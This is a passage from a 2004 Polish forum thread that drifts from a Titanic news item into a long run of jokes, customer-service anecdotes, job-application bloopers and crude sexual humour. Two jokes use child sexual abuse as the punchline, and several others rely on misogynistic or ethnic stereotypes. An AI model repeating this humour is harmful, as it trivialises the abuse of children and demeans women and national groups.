Efektem wyprawy ma być opracowanie planu ratowania Titanica. Udział w nim zadeklarowały już USA, Wielka Brytania, Kanada oraz Francja.

Garnett - 21-04-2004, 23:54

To ci nurkowie całymi tabunami penetrujacy wrak to chyba jacys super techniczni ze na 4 km schodza ( ciekawe ile butli zabieraja :) )
fragless - 22-04-2004, 10:17

:lol: Moze ktos zorganizuje wyjazd na nurkowania wrakowe na tytanicu? :lol:
Piotr - Malediwy - 24-04-2004, 17:44
Temat postu: Titanic
Ja tam byłem.... Ale się nie chwaliłem bo wiedziałem, że z tego afrea będzie... :lol:
Piotr - Malediwy - 24-04-2004, 17:45
Temat postu: Humor!
Z klientem jak z dzieckiem
Nietypowe wypowiedzi i dialogi z klientami:

Klient: "Ile ja płacę za minutę?".
Konsultant: "A W jakiejpan jest taryfie?"
Klient: "W radio-taxi, ale co to pana obchodzi?"

"Ja dostałem tego esemesa, ale jak poszedłem na pocztę, to pani w okienku powiedziała, że nie ma dla mnie żadnych wiadomości."

"Ile płacę za połączenia z bezpłatnym numerem?"

"Proszę Pana, jak do mnie ktoś dzwoni, to mi krzyżyk znad telewizora spada".

Konsultant: " Żeby zmniejszyć koszty na pana koncie, mogę jedynie zasugerować zmniejszenie ilości wykonywanych połączeń".
Klient: "Aha, a naczym to polega?"

"Ja chciałbym zrezygnować z tej opcji wysyłania do mnie ponagleń do zapłaty."

"Czy jak mi się skończy wązność karty tak-tak, to czy ona jeszcze będzie ważna?"

"To minuta ma 60 sekund?"

"Czy w państwa systemie komputerowym odnotowujecie tylko tylko połączenia już wykonane?"

Treść esemesa testowego przez abonamenta do konsultanta:
"Nadal nie mogę wysyłać esemesów".

"Ja mam u was zaległości w płaceniu i z tego powodu wyłączyliście mi telefon, więc ja się pana pytam" jak ja mam teraz funkcjonować?"

"Ja się założyłem z kolegą i włożyłem swojego Siemensa M35 do szklanki z wodą i teraz nie chcą mi go naprawić w ramach gwarancji".

"Gdzie ja mogę zadzwonić, żeby kogoś opieprzyć?"

"Proszę mi natychmiast podać lokalizację mojego drugiego aparatu, wiem, że jest to możliwe, bo widziałem coś takiego na filmie SF".

"Ja dostałem taki komunikat, że w celu tam-tego coś-tam, więc co mam teraz zrobić?"

Źródło: POLITYKA NR16 17.04.04

I - 24-04-2004, 18:01
Temat postu: Re: Humor!
Piotr - Malediwy napisał/a:

"Ja dostałem taki komunikat, że w celu tam-tego coś-tam, więc co mam teraz zrobić?"


Kiedyś na ulicy słyszałem bardzo zaaferowaną kobietę, klarującą zawzięcie swojemu romówcy:
"Wie pan co. Bo ludziom, to czasem przytrafiają się takie RÓŻNE rzeczy, ALBO INNE. Takie jest życie."


P.
I

Miłosz - 28-04-2004, 20:00

"Moim zdaniem seks to jedna z najpiekniejszych, najbardziej naturalnych,
najzdrowszych rzeczy, jakie mozna kupic za pieniadze."
-Tom Clancy

"Znacie to spojrzenie, które rzuca wam kobieta, kiedy ma ochote na seks?
...Ja tez nie."
-Steve Martin

"Uprawianie seksu przypomina gre w brydza. Jak sie nie ma dobrego partnera,
to lepiej miec dobra reke."
-Woody Allen

"Pozwolic feministkom decydowac o seksie to jak zafundowac psu wakacje w
Chinach."
-Matt Barry

"Seks po dziewiecdziesiatce jest jak gra w bilard przy pomocy sznurka."
-Camille Paglia

"Seks jest jednym z dziewieciu powodów do reinkarnacji. Pozostalych osiem
sie nie liczy."
-George Burns

"Kobiety umieja udawac orgazmy. Za to mezczyzni potrafia udawac cale
zwiazki."
-Sharon Stone

"Moja matka zdawala sie nie dostrzegac ironii w nazywaniu mnie
sk.rwysynem."
-Jack Nicholson

"Clinton klamal. Mezczyzna moze zapomniec, gdzie zaparkowal samochód albo
gdzie mieszka, ale nigdy nie zapomni seksu oralnego, nawet jesli byl bardzo
kiepski."
-Barbara Bush

"A, tak, 'rozwód'. To slowo pochodzi od lacinskiego 'wyrwac mezczyznie jaja
przez portfel'."
-Robin Williams

"Kobiety narzekaja na zespól napiecia przedmiesiaczkowego, a dla mnie to
jedyny czas w miesiacu, kiedy moge naprawde byc soba."
-Roseanne

"Kobiety potrzebuja powodu, zeby uprawiac seks. Mezczyzni potrzebuja
jedynie miejsca."
-Billy Crystal

"Jak wynika z najnowszych badan, kobiety twierdza, ze czuja sie mniej
niezrecznie, kiedy rozbieraja sie przed mezczyznami, niz gdy rozbieraja sie
przed innymi kobietami. Wedlug nich kobiety sa zbyt krytyczne, podczas gdy
mezczyzni, rzecz jasna, sa zwyczajnie wdzieczni."
-Robert De Niro

"Mamy nowy kryzys w medycynie. Lekarze alarmuja, ze wielu mezczyzn jest
uczulonych na lateksowe prezerwatywy. Jako reakcja alergiczna wystepuje u
nich duza opuchlizna. No to w czym problem?"
-Dustin Hoffman

"Zamiast zenic sie po raz kolejny, znajde jakas kobiete, której nie lubie,
i podaruje jej dom."
-Rod Stewart

Kuba - 14-05-2004, 10:51

tak troszke a propos http://www.forum.jds.pl/viewtopic.php4?t=3125
natchnelo mnie jak ogladalem filmik

przychodzi baba do lekarza a wraz z nia cud dziewczyna, prawdziwe bustwo.
lekaz od razu patrzac na dziewczyne mowi "prosze sie rozebrac"
baba zaczyna sie wtracac, ale lekarz stanowczym glosem - "prosze nie przeszkadzac, ja tu jestem lekarzem. prosze sie rozebrac!"

dziewczyna staje naga przed lekarzem, ten zaczyna ja dokladnie badac az baba nie wytrzymuje "Panie doktorze, ale to ja jestem chora!"

"Taaak? to w takim wypadku prosze pokazac jezyk"

milego dnia
Kuba

ukusek - 14-05-2004, 16:38

Lepper wrócił z zagranicznej delegacji, na której niesamowicie zasmakowała
mu zupa żółwiowa. Wchodzi do restauracji w Warszawie i postanawia ją
zamówić. Kelner z lekkim dziwieniem przyjmuje zamówienie, biegnie do
kucharza je pokazać. Ten przejrzał wielką księgę z przepisami i znalazł,
jest zupa żółwiowa. Wysłał kelnera szybciutko po żółwia do zoologicznego, a
sam przygotowuje składniki. Chwile później mając żółwia przed sobą,
przymierza się, by jednym płynnym ruchem obciąć biedakowi łeb. Pada cios,
lecz żółw zwinnie schował łepek w skorupę. Kucharz zamierza się jeszcze raz,
ale i tym razem żółw był szybszy. Po 30 minutach ciągłych prób dekapitacji
żówia, do kuchni wpada ochroniarz Leppera.
(ochroniarz) - Panie Kucharz, co z tą zupą????
(kucharz) - Przepraszam za zwłokę, ale ni jak sobie z tym skubanym żółwiem
poradzić nie mogę
(o) - Proszę wsiąć zamach, tym razem się uda.
W tym momencie ochroniarz wkłada żółwiowi palec w odbyt. Zdziwiony zwierz
wystawia szyję jak najdalej może. W tym momencie pada cios, a
żółw wreszcie leży bez głowy.
(k) - Dziękuję za pomoc. Bez pana bym sobie nie poradził!!! Skąd zna pan
taką sztuczkę? Jest pan jakimś specjalistą od żółwi?
(o) - Nie... Ale od 10 lat wiąże Andrzejowi krawat...

Izabella - 16-05-2004, 00:18

Dobre.Chyba ukazalo sie w calej unii, bo ja czytalam o tym gdy jeszcze mieszkalam w Niemczech w jenej z niemieckich gazet...Der Spiegel???


Nishigoi napisał/a:
Oto tekst, który ukazał się we francuskim piśmie "Rohtas".

"Polska. Oto znajdujemy się w świecie absurdu.
Kraj, w którym co piąty mieszkaniec stracił życie w czasie drugiej wojny światowej, którego jedna piąta narodu żyje poza granicami i w którym co trzeci mieszkaniec ma 20 lat.

Kraj brutalnie oderwany od wiekowych tradycji, który odbudował swoją stolicę według obrazów Canaletta, a Stare Miasto odtworzył jako nowe.

Kraj, który ma dwa razy więcej studentów niż Francja, a inżynier zarabia tu mniej niż przeciętny robotnik.

Kraj, gdzie człowiek wydaje dwa razy więcej niż zarabia, gdzie przeciętna pensja nie przekracza ceny trzech par dobrych butów, gdzie jednocześnie nie ma biedy, a obcy kapitał pcha się drzwiami i oknami.

Kraj, w którym koncesjami rządzą monopoliści.

Kraj ze stolicą, w której centrum stoją nowoczesne biurowce, oferujące pomieszczenia po10-35 USD za metr.

Kraj, w którym cena samochodu równa się trzyletnim zarobkom, a mimo to trudno znaleźć miejsce na parkingu.

Kraj, w którym można sobie kupić chodniki, postawić parkomaty i płacić państwu tylko 10 procent podatku od zysku.

Kraj, w którym otrzymanie paszportu do niedawna stanowiło problem, a mimo to ponad 3,5 mln obywateli rocznie wyjeżdża na wczasy za granicę.

Jedyny kraj byłego bloku socjalistycznego , w którym obywatelowi wolno posiadać dolary, choć nie wolno mu ich kupić ani sprzedać poza bankami i kantorami.

Cudzoziemiec musi zrezygnować tu z jakiejkolwiek logiki, jeśli nie chce stracić gruntu pod nogami.

Dziwny kraj, w którym z kelnerem można porozmawiać po angielsku, z kucharzem po francusku, a ministrem lub jakimkolwiek urzędnikiem państwowym tylko za pośrednictwem tłumacza."

Polacy!
Jak wy to robicie?
caly ten tekst jest tlumaczeniem z francuskiej gazety
[flash][/flash][flash][/flash]
ukusek - 16-05-2004, 00:33

Jeżeli nie wierzycie jak bardzo jesteśmy popularni za granicami kraja to kliknijcie sobie tu: http://www.ryano.net/iraq/?705214
ukusek - 17-05-2004, 20:04

Był sobie facet, niedorajda życiowa - żona go robila w jajo, dzieci nie
lubily, kiepska praca, 20 lat bez awansu, bez pieniedzy itd,. dla kolegów
popychadło.
Ktoregoś razu idzie przez las - patrzy, a na drodze siedzi mala zabka i
mowi do niego. Znam Cię. Znam twoje problemy - wiem, że jesteś dobrym czlowiekiem - pomoge ci. Idź do domu i zobacz jak bedziesz żył od dzisiaj.
Koleś się popukal w czolo i poszedl do domu. I o dziwo
...ZASKOCZENIE!
Żona pieknie ubrana lata wokol niego, dzieci ciągna na spacer. Na drugi
dzień w pracy propozycja awansu, kasa sie sypneła, koledzy na okraglo ... PIEKNIE ! Koleś aż nie może uwierzyć i mysli - muszę pójść do tej żabki i jej podziekowac! Idzie do lasu spotyka tą żabke i mówi:
Tyle dla mnie zrobilaś, jestem szcześliwym czlowiekiem, odmienilaś moje
życie!!! Co moge dla Ciebie zrobic, moze przynajmniej w malym procencie wynagrodzę ci tą uczynność.
Żabka na to:
- Przeleć mnie.
A facet z zażenowaniem:
- Ale jak,.... przecież ty taka mała jesteś, jak mam to zrobic ???.....
Żabka - wiesz... mam ograniczone mozliwosci i nie zmienię sie w 25 letnią, piekną, dorodną blondynkę z wielkimi cyckami.... Szczyt moich mozliwosci, to gdzies ... 12 lat.
Facet: - Ok, niech bedzie dwunastolatka.
Żaba sie w mig zmienila w 12 tke - facet ją przelecial.
- I taka jest prawda Wysoki Sadzie, a nie to, co opowiada ta gówniara!!!!!

ukusek - 17-05-2004, 20:05

Ona: Dobrze. A teraz powiedz mi jak to się robi? Tyle o tym słyszałam od koleżanek.
On: Najpierw weź go do ręki.
Ona: ALE OBLEŚNE
On: Zapewniam cię, nie ma w tym nic obleśnego. Chwyć go za główkę jedną reką.
Ona: Tak? I co dalej?
On: Tak, a później pociągnij drugą reką.
Ona: Ach tak !?
On: No właśnie, widzisz jak dobrze idzie?
Ona: I co teraz?
On: Teraz possij.
Ona: NO Ty chyba żartujesz
On: Nie, nie żartuję. Zacznij ssać.
Ona: Obleśne. Naprawdę ludzie tak robią
On: Tak.
Ona: Jesteś pewny?
On: Tak, mówiłem ci że jestem doświadczony. Dla mnie to nie pierwszy raz. Uwierz mi. Possij chwilę.
Ona: (ssie) Hmmmmmmmm...
On: No i co ?
Ona: Słonawy w smaku.
On: No, to chyba dobre nie?
Ona: Nawet nie głupie. I co teraz?
On: Teraz rozsuwasz nóżki.
Ona: CO, co ty powiedziałeś
On: Rozsuwasz nogi.
Ona: Tak miałeś na myśli?
On: Tak, tylko musisz bardziej odgiąć nogi bo będzie ciężko dojść. Pokażę ci.
Ona: A, rozumiem.
On: Wlaśnie. I znowu bierzesz go w rączkę.
Ona: Hmmm...
On: Jak go juz wyciagniesz to wsadzasz go do buzi.
Ona: Taaak.
On: Ooo, wlaśnie tak.
Ona: A co zrobic z tym żółtawym? To też się połyka?.
On: Zależy od upodobania. Można połknąć jak się chce.
Ona: Spróbuję....Hmmmm .... PYCHAAA... Sam spróbuj
On: Hmm, no nie głupie.
Ona: ---
On: Popatrz teraz na mnie. Spróbuję wyciągnąć to różowe palcami.
Ona: Ooooo?
On: Czasem są małe problemy. Można sobie wtedy pomóc ustami.
Ona: Hmmmmmmmm
On: Można też trochę possać, to czasami pomaga.
Ona: (ssie) Hmmmmmmmmmmmm
On: Aaa Teraz poszło
Ona: Taaak, czułam.
On: I jak? Smaczne było?
Ona: Muszę się przyznać, że nie głupie.
On: Chcesz więcej?
Ona: Tak, chętnie. Powiedz mi tylko czy to musi być tak cholernie skomplikowane
On: No, kochanie, ja ci na to nic nie poradzę. Tak się je raki.

wodzu - 17-05-2004, 20:08

Howgh!

Co mówi kobieta po wyjściu z łazienki?

Ładnie wyglądam?

A co mówi mężczyzna?

...

Na razie tam nie wchodź

ukusek - 22-05-2004, 21:07

Jechał facet autostrada i zachcialo mu sie do ubikacji. Dojechal do
najblizszej stacji benzynowej i udal sie za potrzeba. Kiedy juz siedzial
na muszli, uslyszal jak ktos wchodzi do kabiny obok. Po chwili z tejze
kabiny dobieglo go pytanie:
- Czesc, co tam u ciebie slychac?
Facet glupio sie poczul, na ogól nie rozmawial z obcymi, i to jeszcze w takim miejscu. Ale niepewnie odpowiedzial:
- Nic, wszystko w porzadku...
- Sluchaj, a powiedz mi, co zamierzasz tutaj zrobic?
- No, nie wiem... - facet coraz bardziej czul sie skrepowany ta
wymiana zdan.
- A gdzie jedziesz?
- Jade do Gdanska, a potem wracam do Katowic... - odpowiada po raz
kolejny zdziwiony facet.
Wreszcie w kabinie obok:
- Wiesz co, zadzwonie do ciebie pózniej, bo jakis idiota w kiblu obok odpowiada na wszystkie moje pytania!

Garnett - 29-05-2004, 14:54

Amerykanie przez pomyłkę wystrzelili rakietę, stracili nad nią kontrolę no i niestety spadła ona na terytorium ZSRR. Rozpieprzyła całe miasto, 250 000 tysięcy ofiar, pożary, zniszczenia. Prezydent USA dzwoni do I Sekretarza ZSRR:
- Towarzyszu, przepraszamy, to przez pomyłkę. Bardzo nam przykro, za wszystko zapłacimy - odszkodowanie, odbudowę i wogóle wszystko na nasz koszt.
I Sekretarz mówi:
- OK, nie ma sprawy, ponieśliśmy straty, no ale w sumie każdemu się to mogło trafić. Zgoda.
Niestety inni członkowie biura politycznego ZSRR nie byli na tyle wyrozumiali i nakłonili I Sekretarza do odwetu. Niestety okazało się, że cały arsenał ZSRR to gumowe atrapy. No ale honor honorem - odwet musi być. Jak zdecydowali, tak zrobili - wystrzelili gumową atrapę.
Po jakimś czasie I Sekretarz dzwoni do Prezydenta USA:
- Towarzyszu Prezydencie, przepraszamy, błąd jak cholera, wystrzeliliśmy rakietę, bardzo nam przykro, zapłacimy - tylko nam wybaczcie....
Prezydent na to:
- Towarzyszu I Sekretarzu, ja rozumiem, każdemu się może przytrafić, no ale tu u nas jest tragedia!!!! 15 miast w gruzach, miliony zabitych, straty trudne do oszacowania a rakieta dalej skacze i skacze...
Wielki, ogromny, wielopiętrowy supermarket, w którym kupicie wszystko. Szef przyjmuje do pracy nowego sprzedawcę, dając mu jeden dzień okresu próbnego żeby go przetestować.
Po zamknięciu wzywa szef nowego sprzedawcę do biura:
- No to ile dziś zrobił pan transakcji? - pyta sprzedawcę.
- Jedną, szefie.
- Co? Jedną?! Nasi sprzedawcy mają średnio od sześćdziesięciu do siedemdziesięciu transakcji w ciągu dnia! Co pan robił przez cały dzień? A właściwie to ile pan utargował?
- Trzysta osiemdziesiąt tysięcy dolarów.
Szefa zatkało.
- Trzy... sta osiem... dziesiąt tysięcy? Na Boga, co pan sprzedał?!
- No, na początku sprzedałem mały haczyk na ryby...
- Haczyk na ryby? Za trzysta osiemdziesiąt tysięcy?
- Potem przekonałem klienta żeby wziął jeszcze średni i duży haczyk. Następnie przekonałem go, że powinien wziąć jeszcze żyłkę. Sprzedałem mu trzy rodzaje: cienką, średnią i grubą. Wdaliśmy się w rozmowę. Spytałem gdzie będzie łowić. Powiedział, że na Missouri, dwadzieścia mil na północ. W związku z tym sprzedałem mu jeszcze porządną wiatrówkę, nieprzemakalne spodnie i rybackie gumowce, ponieważ tam mocno wieje. Przekonałem go, że na brzegu ryby nie biorą, no i tak poszliśmy wybrać łódź motorową. Spytałem go jakie ma auto i wydusiłem z niego, że dość małe aby odwieźć łódź, w związku z czym sprzedałem mu przyczepę.
- I wszystko to sprzedał pan człowiekowi, który przyszedł sobie kupić jeden, jedyny haczyk na ryby?!
- Nieee. On przyszedł z zamiarem kupienia podpasek dla swojej żony. Zaproponowałem mu, że skoro w weekend nici z seksu to może pojechałby przynajmniej na ryby...



Rok 1410, przeddzień Bitwy pod Grunwaldem. Obóz Polaków. Wszyscy śruba jak okręt. Ledwo łażą, pod każdym drzewem hafty, biba na maxa. Jagiełło leży porzygany w namiocie pierwszy odjechał bo ma słaby łeb. Obóz Niemców; jeszcze gorzej. Zaczęli już od rana, wszyscy wygięci, nawet konie się uwaliły, jeden koń drugiemu wkłada kopyto do paszczy, żeby się wyrzygał, rycerze łażą, naparzają się na niby mieczami; ogólny gnój! Na drugi dzień Ulrich się budzi, łeb go napier..., kac wielki, chwyta się za głowę i woła giermka:
Te, słuchaj gościu; pójdziesz do Jagiełły; tam za ten pagórek, dasz mu te dwa miecze i powiesz mu, że my wczoraj z chłopakami pochlali, mnie łeb napierdala i w ogóle że dzisiaj nie da rady! Powiedz że może jutro się zetrzemy czy jak? ok.?
Okej! Giermek wziął miecze pod pachę i idzie wężykiem do Jagiełły; trochę się potyka i czka, bo se rano klina wziął i go trzyma fest jeszcze.
Przyszedł do Władzia i mówi:
- Dobry! Ja tam nie wiem, ale szef mnie tutaj przysłał i kazał dać te dwa miecze - wbił zamaszyście w glebę miecze - i kazał powiedzieć że u nas wczoraj była impreza i dzisiaj nie da rady, może jutro!
Nie, no wszystko ok., my tam z chłopakami też nielicho wczoraj zabalowaliśmy, naprawdę nie ma sprawy - ale materaca gościu to mi nie musiałeś przebić.

ukusek - 29-05-2004, 22:42

Przychodzi krowa do lekarza, strasznie radosna.
Lekarz pyta:
- Co ci jest krowa?
- Nie wiem, mam tak po trawie...





- Halo?
- Cześć maleńka, tu tatuś, daj mi mamusie.
- Tatusiu, ale ona jest na górze w sypialni z wujkiem Frankiem.
Po dłuższej chwili milczenia:
- Ależ córeczko, nie masz żadnego wujka Franka!
- Nieprawda! Mam! I jest teraz z mamusią w sypialni!
- Ok, no cóż.... Posłuchaj uważnie, chcę żebyś coś dla mnie zrobiła. Dobrze?
- Dobrze tatusiu.
- To idź na górę do sypialni, zapukaj do drzwi i powiedz, że tata właśnie
parkuje przed domem.
Kilka minut później...
- Już zrobiłam.
- I co się stało?
- Mama bardzo się przestraszyła, wyskoczyła z łóżka bez
ubrania i zaczęła biegać po pokoju i krzyczeć, a potem potknęła się o dywan i wypadła przez okno i leży nieżywa.
- O Boże, a wujek Franek?
- On też wyskoczył z łóżka bez ubrania i krzyczał i w końcu wyskoczył
przez okno, to z drugiej strony i wskoczył do basenu. Ale tatusiu, tam
nie było wody, miałeś napełnić go w zeszłym tygodniu i zapomniałeś.
No i wujek upadł na dno i też jest nieżywy.
Bardzo długa chwila ciszy, aż wreszcie :
- Hmmmm, basen mówisz? A czy to numer 555-6789?



Komendant straży pożarnej zjawia się w remizie. Wolnym
krokiem idzie korytarzem do swojego gabinetu. Siada za biurkiem, powoli
wypija kawę, przeciąga się, ziewa, nie spiesząc się włącza megafon i
mówi:
- No, chłopaki, zbierać się! Jest robota! Pali się urząd skarbowy...


O trzeciej w nocy mąż budzi żonę, podaje jej szklankę wody i dwie aspiryny.
- Zwariowałeś?!! Po co mnie budzisz?
- Masz kochanie tabletki na ból głowy.
- Przecież nic mnie nie boli, idioto!
- Mam Cię!!!


Tato, kto to jest ta duża pani z marmuru? Tam na pomniku?
- To jest, synku, Dziewica Orleańska.
- A dlaczego Orleańska?
- Bo z Orleanu...
- A dlaczego Dziewica?
- Bo z marmuru...



Dwa szczury jedzą taśmę filmowa.
- Dobry film - mówi jeden.
- Tak - odpowiada drugi - Ale książka była lepsza

ukusek - 31-05-2004, 21:52

Wraca facet do domu, patrzy a tam jego kobieta sie pakuje!
Zdziwiony pyta się:
- Co ty robisz?
- Wyprowadzam sie!
- Dlaczego?
- Bo jesteś pedofilem!
- O! Mocne słowa jak na ośmiolatke!
:mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen:

wodzu - 01-06-2004, 09:34

Howgh!

Wchodzi Amerykanin do baru w Polsce i mowi:
- Slyszalem, ze wy, Polacy to jestescie straszni pijacy. Zaloze sie
o 500$, ze zaden z was nie wypije litra wodki jednym haustem. W barze
cisza. Kazdy boi sie podjac zaklad. Jeden gosciu nawet wyszedl. Mija
kilka minut, wraca ten sam gosciu, podchodzi do Amerykanina i mowi:
- Czy twoj zaklad jest wciaz aktualny?
- Tak. Kelner! Litr wodki podaj!
Gosciu wzial gleboki oddech i fruuu... z litra wodki zostala pusta
butelka. Amerykanin stoi jak wryty, wyplaca 500$ i mowi:
- Jesli nie mialbys nic przeciwko, moglbym wiedziec, gdzie wyszedles
kilka minut wczesniej?
- A, poszedlem do baru obok sprawdzic, czy mi sie uda...

ukusek - 01-06-2004, 17:34

Mecz pilkarski Legia Warszawa - Lech Poznan!

Kibice Lecha wykrzykuja inwektywy pod adresem "Legionistów" - kibice Legii
siedza cicho - zadziwiajaca postawa... Kibole Lecha dostaja juz piany na
ustach, rzucaja miechem, a kibole Legii siedza niewzruszeni - az sie wierzyc
nie chce... I tak dobre kilkanascie minut...
Nagle kibice Legii, w ciszy, rozciagaja ogromna biala plachte z ogromnym
napisem:

" A WAS JEBALI DYRYGENCI "

Na stadionie zrobilo sie baaardzo cicho....

wodzu - 03-06-2004, 09:21

Howgh!

Cytaty z listów motywacyjnych i podań o pracę ;)
Zachowano oryginalną stylistykę i gramatykę.


Stanowisko: Super Visior
Stanowisko: pracownik wchore house

****************

Będąc absolwentką jednej z najbardziej renomowanych
warszawskich uczelni - Studium Stenotypii i Języków Obcych
Obsługuje pakiet programów Office w stopniu zaawansowanym.
Szczególnym sentymentem darzę arkusz kalkulacyjny EXCEL

****************

ZAINTERESOWANIA
sport (jazda na rowerze, piłka nożna, pływanie żabką)

****************

Stanowisko: Asystentka/Sekretarka
Obowiązki:
- prowadziła biuro,
- przygotowywała marynarzy w rejs.

****************

Pracowałem w Daewoo - FSO Motors Spółka z o.o. Zakład Żerań
przy ul. Jagiellońskiej 88 na stanowisku Kucharz w Korei
Płd.

****************

Jestem po studiach na wydziele Telekomunikacji:
Lipiec 2001 praktyka zawodowa w Telekomunikacja Polska S.A.
w zespole instrumentalno-wokalnym (gra na perkusji);

****************

mam doświadczenie w życiu w innym kraju

****************

język angelski - znajomość martwa

****************

Moje dodatkowe umiejętności: układanie truskawek na bitej
śmietanie.

****************

Prośbę swa motywuje tym, że nazywam się Joanna Kowalska.

****************

Pan opisuje szereg prowadzonych przez siebie, różnego rodzaju
działalności gospodarczych. Po czym list motywacyjny kończy
zdaniem:
Jak Państwo widzicie mam duże doświadczenie w kręceniu
własnym interesem.

****************

Dowiedziałem się, że jeden z waszych pracowników został
zwolniony, a drugi złamał rękę. Proszę, dajcie mi szanse.

****************

Merytoryczne zasoby wiedzy wynikające ze zdywersyfikowanych
kierunków wykształcenia oraz praktyczne doświadczenia z ponad
dwudziestoletniego stażu pracy na zróżnicowanych stanowiskach
upoważniają i predyscynuja mnie do ubiegania się o w/w stanowisko.

****************

Sadze, że moje doświadczenia zawodowe (...) wynikające z:
(...) [zdanie 11-krotnie złożone, zajmujące 17 wierszy] (...)
oraz zdobyte na ww. drodze umiejętności dadzą się również
przelac na inny charakter obowiązków służbowych w Waszej firmie.

****************

Mogę zamieszkać w miejscu pracy .

****************

(Z życiorysu, sekcja "Praktyki zawodowe") (...) - praktyka
we własnej fikcyjnej firmie zakończona oceną bardzo dobrą.

****************

Ukształciłam się i ukończyłam Szkole w (...) Chojnicach.

****************

(POCZĄTEK OFERTY) Mam 38 lat, mieszkam w Słupsku, koło
budowy Marketu. Jestem młoda, zdrowa, dyspozycyjna mogę
podjąć prace w każdej chwili w karzdym charakterze.
Prosze o przyjęcie do pracy jestem zdrowa dyspozycyjna i niezależna.
(KONIEC OFERTY)

****************

Podejmę każda prace w godz. 6-14 lub 7-15.

****************

Chciałabym bardzo podjąć prace. Najlepiej, żeby to było w
Legnicy, ale jeżeli będzie w Lubinie to nieszkodzi.

****************

Pracowałem w Realu rok czasu, gdzie skusiło Mnie wyjechać do
Niemiec do pracy.

****************

Jestem 52 letnim mężczyzną o naprawdę młodym poczuciu i
wyglądzie.

ukusek - 03-06-2004, 16:28

W pewnej firmie nastał nowy dyrektor.
Zwołał zebranie wszystkich pracowników:
- Od teraz nastaja nowe porządki:
Sobota i niedziela sa wolne bo to weekend.
W poniedziałek odpoczywamy po weekendzie.
We wtorek przygotowujemy się psychicznie do pracy.
W środę pracujemy.
W czwartek odpoczywamy po pracy.
W piatek przygotowujemy się do weekendu.
- Czy sa jakieś pytania?
- Długo będziemy tak zapier...ać?

lobster - 24-06-2004, 01:52

Z serii jak nas widza sasiedzi:
----------------------------------------------------------------

Po czym poznac ze sie przejechalo Polaka?


Po tym, ze kola zniknely.

----------------------------------------------------------------

Jak wyglada polski triathlon?


Na basen piechota, z basenu na rowerze :mrgreen:

----------------------------------------------------------------

Aston - 01-07-2004, 02:13

:wave:

Jedzie tirowiec autostrada, patrzy na olbrzymiego bilborda i omal nie wpadl na barierki:


[align=center:45612b36c6] BURDEL u siostr jezuitek! Fachowa obsluga! Wyjatkowe atrakcje i ceny!

Na najblizszym zjedzie podazaj za strzalkami!
[/align:45612b36c6]


-To chyba niemozliwe!
A, ze gosc byl troche wytrzesiony, pomyslal: chyba sprobuje tych atrakcji, no, no, ale zeby sie siostrzyczki tak zabawialy...
Dlugo nie kombinowal, skrecil i trafil pod furte.
Otworzyla siostrzyczka, ktorej bylo tylko troche twarzy widac, a reszta calkiem zykryta.
-Prosze zostawic 50 zlotych i przejsc do nastepnej celi!
Gosc zostawil kase - w koncu to nie taka wygorwana cena i wszedl dalej.
Za drzwiami przywitala go nastepna siostrzyczka, jakby mniej ubrana. Na glowie oczywiscie czepek, ale nizej to juz zupelnie inaczej. Gorsecik, ponczoszki, obcasiki.... Z lekka mu w glowie zaszumialo.
-Prosze zostawic 100 zlotych i przejsc do nastepnej celi!
Robi sie powoli drogo, ale moze byc niezle... Zostawil stowke i wszedl do nastepnej celi.
Za drzwiami przywitala go siostrzyczka ubrana mocno atrakcyjnie (oczywiscie w czepku na glowie) lezaca wyzywajaco na lozu.
-Prosze zostawic 200 zlotych i przejsc przez drzwi!
Mocno drogo sie robilo, ale juz sporo zainwestowal, napalil sie to i wszedl za nastepne drzwi.
Zaskoczony patrzy wokol siebie i stoi w szczerym polu. Rozglada sie i za soba widzi na budynku duzy napis:



[align=center:45612b36c6] I tak Cie WYRUCHALY siostry jezuitki! [/align:45612b36c6]

Andrzej S - 01-07-2004, 10:23

Witam,

Dziewczyna wpada do lekarza:

- Panie doktorze, mam poważny problem!
- Co sie dzieje?
- Otóż mam już 28 lat i cały czas jestem dziewicą!!!
- To nie ma żadnego problemu, proszę Pani! Jestem lekarzem pierwszego kontaktu.....

michałek - 09-07-2004, 19:12

Wchodzi Amerykanin do baru w Polsce i mowi:
- Slyszalem, ze wy, Polacy to jestescie straszni pijacy. Zaloze sie o 500$, ze zaden z was nie wypije litra wodki jednym haustem. W barze cisza. Kazdy boi sie podjac zaklad. Jeden gosciu nawet wyszedl. Mija kilka minut, wraca ten sam gosciu, podchodzi do Amerykanina i mowi:
- Czy twoj zaklad jest wciaz aktualny?
- Tak. Kelner! Litr wodki podaj!
Gosciu wzial gleboki oddech i fruuu... z litra wodki zostala pusta butelka. Amerykanin stoi jak wryty, wyplaca 500$ i mowi:
- Jesli nie mialbys nic przeciwko, moglbym wiedziec, gdzie wyszedles kilka minut wczesniej?
- A, poszedlem do baru obok sprawdzic, czy mi sie uda...

michałek - 19-07-2004, 21:06

Jeden chlop wylazl w parku na lawke i zaczyna sie drzec:
- Precz z hipokryzja!
Ludzie patrza zdziwieni, a chlop:
- Precz z pazernoscia!
Coraz wiecej gapiow przystaje, a ten dalej:
- Precz z pedofilia!
W koncu jakas babcia nie wytrzymala:
- Panie, cos sie pan tak do tych ksiezy przyczepil?!?!?
:-D :-D :-D
pozdrawiam

michałek - 07-08-2004, 19:57

Podczas kursu na skalkach wspina sie mloda adeptka razem z instruktorem. Nagle dziewczyna zaczyna szukac reka nerwowo... i mowi:
- Panie instruktorze, nie mam chwytu!
Instruktor uspokaja:
- Poszukaj, sprawdz po prawej. Po chwili dziewcze krzyczy uradowane:
- Mam! Mam szpare, cala reka wchodzi!
- Ty sie kurna nie reklamuj, tylko wspinaj.

michałek - 07-08-2004, 19:59

Ojciec po dlugiej i dosc jednostronnej dyskusji z tesciowa kieruje prosbe do syna:
- Jasiu przynies prosze, babci krem do ust.
- Tato - pyta syn - a ktory to jest?
- Ten z napisem "Kropelka" - odpowiada poirytowany ojciec.

michałek - 07-08-2004, 20:01

Mowi ogorek do wibratora:
- I czemu sie tak trzesiesz? Przeciez Cie nie zjedza...

Garnett - 21-08-2004, 17:33

Pewna para w średnim wieku z północnej części USA zateskniła w środku mroźnej zimy do ciepła i zdecydowała się pojechac na dół, na Florydę i mieszkać w tym hotelu, w którym spędziła noc poslubną 20 lat wczesniej.Mąż miał dłuższy urlop i pojechał o dzień wczesniej.Po zamledowaniu sie w recepcji odkrył że w pokoju jest komputer i postanowił wysłać meila do zony.
